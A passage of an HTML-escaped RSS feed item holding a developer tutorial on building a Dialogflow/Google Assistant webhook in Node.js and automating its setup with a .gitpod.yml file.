&lt;li&gt;In the next section choose &lt;strong&gt;custom intent&lt;/strong&gt; and click on &lt;strong&gt;build&lt;/strong&gt;. Doing this will redirect you to the &lt;strong&gt;Dialogflow console&lt;/strong&gt; and it should look something like this.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2Ftemp3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2Ftemp3.png" alt="temp3"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Click on create to &lt;strong&gt;create&lt;/strong&gt; your agent on Dialogflow.&lt;/li&gt;
&lt;li&gt;Once your agent is ready, you will already have two default Intents (Default Fallback Intent and Default Welcome Intent) in place and these two do pretty good at their job.&lt;/li&gt;
&lt;li&gt;Now it's time to create a new intent and enable fulfillments for that intent so that we can serve responses from the webhook that we will be building in the next section.&lt;/li&gt;
&lt;li&gt;Click on create a new intent, give it a name and training phrase (training phrase will be used to invoke the intent). Now that your intent is almost ready scroll down and under fulfillments &lt;strong&gt;enable webhook call&lt;/strong&gt; for the new Default welcome intent and the new intent you just created.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Understanding .gitpod.yml
&lt;/h3&gt;

&lt;p&gt;The .gitpod.yml file is used to automate setting up the environment required to run your app.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2Fcarbon--4-.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2Fcarbon--4-.png" alt="carbon--4-"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you want to access services running in your workspace, e.g. a development HTTP server on port 8080, you need to expose that port first. Gitpod has two means of doing that:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;On-the-fly: when you start a process which listens on a port in your workspace, Gitpod will ask you if you want to expose that port to the internet.&lt;/li&gt;
&lt;li&gt;In your configuration: if you already know that you want a particular port exposed, you can configure it in the .gitpod.yml file and skip the extra click later on. For example:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ports:
  - port: 3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When starting or restarting a workspace you typically want to run certain tasks. Most probably that includes the build and maybe also running tests and automatically start the application in e.g. a dev server.&lt;/p&gt;

&lt;p&gt;Gitpod allows you to configure start tasks in the .gitpod.yml file.&lt;/p&gt;

&lt;p&gt;For instance, the start script for this repository is defined as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tasks:
- init: npm install
  command: npm start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can have multiple tasks, which are opened on separated terminals.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tasks:
- init: npm install
  command: npm start
- command: echo -e "\n\nwebhook url - $(gp url 3000)/webhook \n\nCopy and paste this url in the Dialogflow console"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  &lt;code&gt;init&lt;/code&gt; command
&lt;/h4&gt;

&lt;p&gt;The init property can be used to specify shell commands that should only be executed after a workspace was freshly cloned and needs to be initialized somehow. Such tasks are usually builds or downloading dependencies. Anything you only want to do once but not when you restart a workspace or start a snapshot.&lt;/p&gt;

&lt;p&gt;In our case the &lt;code&gt;init&lt;/code&gt; command is&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tasks:
- init: npm install
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Get the Gitpod setup running
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Fork my &lt;a href="https://github.com/anudeepreddy/dialogflow-webhook-boilerplate-nodejs" rel="noopener noreferrer"&gt;repo (dialogflow-webhook-boilerplate-nodejs)&lt;/a&gt; &lt;strong&gt;or&lt;/strong&gt; just click on the run in gitpod button in my repo. (If you do this you have to fork it from the workspace so that you can commit your own changes to your repo).&lt;/li&gt;
&lt;li&gt;Now you can just prefix your repo url with "&lt;a href="https://gitpod.io/#" rel="noopener noreferrer"&gt;https://gitpod.io/#&lt;/a&gt;". This should take you to Gitpod and start your workspace. The workspace take a little while to start.&lt;/li&gt;
&lt;li&gt;Once the workspace is running you should see something like this.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2FAnnotation-2019-06-25-171555.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2FAnnotation-2019-06-25-171555.png" alt="Annotation-2019-06-25-171555"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If you notice the Node app is already running in the first terminal. This is automated by a Gitpod configuration file. And the webhook URL is printed on to the second terminal. All the dependencies that are required are also installed while creating the workspace.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2FAnnotation-2019-06-25-171555-crop.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2FAnnotation-2019-06-25-171555-crop.png" alt="Annotation-2019-06-25-171555-crop"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Now that the webhook is running and i presume that you already have your agent on Dialogflow (If not create an agent), Next thing you need to do is to copy the webhook URL from the terminal and paste it in the Fulfillments section in the Dialogflow Console.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2FAnnotation-2019-06-25-172359.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2FAnnotation-2019-06-25-172359.png" alt="Annotation-2019-06-25-172359"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Open the index.js file which contains the code for the webhook.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2Fcarbon--1-.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2Fcarbon--1-.png" alt="carbon--1-"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The file initially contains this code. Now lets add some more code to it to display a card when we invoke the new intent we created in the previous section.&lt;br&gt;
actions-on-google library provides many functionalities to can simplify your task to render rich responses in your action.&lt;/p&gt;

&lt;p&gt;We will be adding the following code to display a card when the new intent is invoked.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2Fcarbon--3-.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2Fcarbon--3-.png" alt="carbon--3-"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Replace the URL's and other contents in the code and stop the previous instance of the app from running and start it again after you have made changes to the code by running &lt;code&gt;npm start&lt;/code&gt; in the terminal.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;To test your action you can click on &lt;strong&gt;See how it works in Google Assistant&lt;/strong&gt; in the Dialogflow console.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2FAnnotation-2019-06-28-175558.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2FAnnotation-2019-06-28-175558.png" alt="Annotation-2019-06-28-175558"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Invoking the intent would give you response similar to this.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2FScreenshot_20190628-181019.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2FScreenshot_20190628-181019.png" alt="Screenshot_20190628-181019"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Refer to the links below to add your own functionalities.&lt;/p&gt;

&lt;h2&gt;
  
  
  Links to Refer
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;If you would like to learn more about the actions-on-google library, you can find it here - &lt;a href="https://www.npmjs.com/package/actions-on-google" rel="noopener noreferrer"&gt;https://www.npmjs.com/package/actions-on-google&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Go through these examples - &lt;a href="https://developers.google.com/actions/samples/github" rel="noopener noreferrer"&gt;https://developers.google.com/actions/samples/github&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Rich responses example - &lt;a href="https://github.com/actions-on-google/dialogflow-conversation-components-nodejs" rel="noopener noreferrer"&gt;https://github.com/actions-on-google/dialogflow-conversation-components-nodejs&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Gitpod can make your life much simpler by automating your development setup just by adding a simple configuration file to your repo. You can refer to the Gitpod &lt;a href="https://www.gitpod.io/docs/" rel="noopener noreferrer"&gt;Docs&lt;/a&gt; to learn more about the platform. Gitpod lets you work with unlimited workspace but with 100hrs/month runtime. It also provides Personal and unlimited plans as well. If you are a student then you can claim Gitpod Unlimited plan for just $9.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2Fcharacter.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2Fcharacter.gif" alt="character"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Happy coding with Gitpod ✨
&lt;/h1&gt;

</description>
      <category>gitpod</category>
      <category>node</category>
      <category>googleassistant</category>
      <category>actionongoogle</category>
    </item>
  </channel>
</rss>
